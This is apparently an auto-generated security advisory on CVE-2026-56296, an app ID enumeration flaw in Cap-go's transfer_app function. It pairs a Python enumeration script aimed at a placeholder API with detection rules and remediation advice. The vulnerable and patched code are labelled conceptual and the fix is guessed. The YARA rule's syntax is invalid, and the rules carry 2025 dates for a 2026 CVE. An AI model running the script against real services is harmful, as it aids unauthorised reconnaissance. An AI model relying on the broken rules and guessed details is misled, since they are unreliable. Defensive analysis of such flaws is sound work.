CVE-2026-56296

Executive Summary

CVE-2026-56296 is an information disclosure vulnerability in the Cap-go application (versions before 12.128.2). The flaw resides in the public.transfer_app RPC function, which returns distinct error messages for existing versus non-existing app IDs. This allows an unauthenticated attacker, armed only with a publishable API key, to enumerate valid application IDs. While the CVSS score is low (0.0 in the NVD, but realistically a 5.3 based on the vector), the impact is significant for reconnaissance, enabling attackers to map out the application landscape and potentially target specific apps for further attacks. No public exploit code or PoC is currently available, but the vulnerability is trivially exploitable via API calls.

Supply Chain & Package Security

Cap-go is a Go-based application. The vulnerability is in the application logic, not in a third-party package. However, organizations using Cap-go should verify their deployment version and ensure the supply chain for updates is trusted (e.g., official GitHub releases or container registries).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (disclosure of valid app IDs)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability itself only leaks information, but it is a critical stepping stone for targeted attacks. In combination with other vulnerabilities, it could lead to account takeover or data breaches.

Deep Dive & Mechanics

The public.transfer_app RPC function is designed to transfer ownership of an app. It requires a publishable API key (a low-privilege key) and an app_id. The vulnerability arises because the function does not use a generic error message for all failures. Instead, it returns:

• Error A: "App not found" or similar when the app_id does not exist.
• Error B: "Invalid API key" or "Insufficient permissions" when the app_id exists but the key lacks the authority to transfer it.

An attacker can script a loop over a range of potential app IDs (e.g., UUIDs or sequential integers) and observe the error message. This allows them to build a list of valid app IDs without any authentication beyond the public API key.

Root Cause: The lack of a unified error response for failed operations. The fix in version 12.128.2 likely returns the same generic error for both cases, preventing enumeration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

func (s *Server) TransferApp(ctx context.Context, req *TransferAppRequest) (*TransferAppResponse, error) {
    app, err := s.db.GetApp(req.AppID)
    if err != nil {
        return nil, errors.New("app not found") // Distinct error
    }
    // ... check permissions ...
    if !hasPermission(req.APIKey, app) {
        return nil, errors.New("invalid API key") // Distinct error
    }
    // ... perform transfer ...
}

Patched Code (Conceptual):

func (s *Server) TransferApp(ctx context.Context, req *TransferAppRequest) (*TransferAppResponse, error) {
    app, err := s.db.GetApp(req.AppID)
    if err != nil {
        return nil, errors.New("operation failed") // Generic error
    }
    // ... check permissions ...
    if !hasPermission(req.APIKey, app) {
        return nil, errors.New("operation failed") // Same generic error
    }
    // ... perform transfer ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid publishable API key for the Cap-go instance.
• Network access to the Cap-go API endpoint.

Exploitation Steps:

1. Identify the API endpoint for transfer_app (e.g., https://api.cap-go.example/v1/transfer_app).
2. Use a script to iterate over potential app IDs (e.g., UUIDs or integers).
3. For each ID, send a POST request with the API key and the ID.
4. Analyze the response body for distinct error messages.

Example Script (Python):

import requests
import uuid

api_key = "pk_live_xxxxx"
base_url = "https://api.cap-go.example/v1/transfer_app"

# Generate a list of potential app IDs (example: UUIDs)
for i in range(1000):
    app_id = str(uuid.uuid4())
    response = requests.post(base_url, json={"api_key": api_key, "app_id": app_id})
    if "app not found" not in response.text.lower():
        print(f"Valid app ID found: {app_id}")
        # Further exploitation can be done here

Expected Output: A list of valid app IDs.

Blue Team (Detection & Response)

Detection:

• Monitor API logs for repeated calls to transfer_app with different app_id values from the same IP or API key.
• Alert on a high volume of 4xx errors from the same source, especially if the error messages vary.

Response:

• Block the offending IP or API key.
• Investigate if any valid app IDs were leaked and assess if further attacks occurred.
• Apply the patch (upgrade to 12.128.2) immediately.

Indicators of Compromise (IOCs)

• Network:
  • Repeated POST requests to /v1/transfer_app with varying app_id parameters.
  • Source IP addresses making many such requests in a short time.
• Logs:
  • Log entries showing "app not found" and "invalid API key" errors from the same source.
• API Key:
  • A publishable API key used in enumeration attempts (may be legitimate but abused).

Detection Engineering

YARA Rule

rule Detect_Capgo_App_Enumeration {
    meta:
        description = "Detects attempts to enumerate app IDs via transfer_app endpoint"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2026-56296"
    strings:
        $error1 = "app not found" ascii wide nocase
        $error2 = "invalid API key" ascii wide nocase
        $endpoint = "transfer_app" ascii wide nocase
    condition:
        # of ($error1 or $error2) > 5 and $endpoint
}

Sigma Rule

title: Cap-go App ID Enumeration via transfer_app
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects multiple requests to transfer_app with different app IDs, indicating enumeration.
author: Valters IT
date: 2025/04/14
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56296
logsource:
    category: application
    product: cap-go
detection:
    selection:
        endpoint: "/v1/transfer_app"
        method: "POST"
    condition: selection | count() by src_ip > 10 within 5 minutes
falsepositives:
    - Legitimate bulk operations (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56296 Cap-go App ID Enumeration"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/transfer_app"; http.request_body; content:"app_id"; pcre:"/app_id\":\"[^\"]+\"/"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Cap-go to version 12.128.2 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to rate-limit requests to the transfer_app endpoint.
3. Monitor logs for enumeration attempts and block offending IPs.

Long-term:

• Adopt a security-by-design approach: always return generic error messages for failed operations to prevent information leakage.
• Conduct regular security audits of API endpoints.
• Implement API key rotation and least-privilege principles.

Valters IT Signature Report generated by Valters IT DevSecOps Framework – CVE-2026-56296 Analysis